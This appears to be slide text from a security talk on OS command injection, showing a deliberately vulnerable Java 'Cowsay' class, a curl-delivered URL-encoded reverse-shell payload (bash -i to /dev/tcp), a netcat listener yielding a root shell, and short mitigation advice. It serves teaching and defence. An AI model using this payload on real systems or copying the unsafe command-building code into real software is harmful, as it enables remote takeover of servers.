The core idea behind injection vulnerabilities (SQLi, NoSQLi, OS cmd, etc.)
user input -> event -> function1 -> function2
^ ^vuln^
__________________/
OS command injection
simple example:
try {
String comm = "cmd.exe /c dir "+user_path;
Process process = Runtime.getRuntime().exec(comm);
surprisingly, not simple:
- not using commands at all
- not trusting blacklisting (nor whitelisting)
- not trusting self-written string sanitization
OS command injection: demo
OS command injection with CVSS lower than 9.
processBuilder.command("bash", "-c", cmd);
Exploitation demo
$ curl "https://tenendo.com:8080/cowsay?input=hello%27%20%7Cbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.15%2F777%200%3E%261%20%23"
___
$ nc -lvnp 777
listening on [any] 777 ...
connect to [10.0.2.15] from (UNKNOWN) [172.22.0.5] 37684
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@7572cc50101f:/# id
id
uid=0(root) gid=0(root) groups=0(root)
Data flow
hello%27%20%7Cbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.15%2F777%200%3E%261%20%23
hello' |bash -i >& /dev/tcp/10.0.2.15/777 0>&1 #
/usr/games/cowsay 'hello' |bash -i >& /dev/tcp/10.0.2.15/777 0>&1 #'
Vulnerable code example
public class Cowsay {
public static String run(String input) {
ProcessBuilder processBuilder = new ProcessBuilder();
String cmd = "/usr/games/cowsay '" + input + "'";
System.out.println(cmd);
processBuilder.command("bash", "-c", cmd);
StringBuilder output = new StringBuilder();
try {
Process process = processBuilder.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line + "\n");
}
} catch (Exception e) {
e.printStackTrace();
}
return output.toString();
}
}
Mitigation
- every command call and dynamic code generation method is a ticking bomb and must be handled accordingly
- same with every third-party component that does that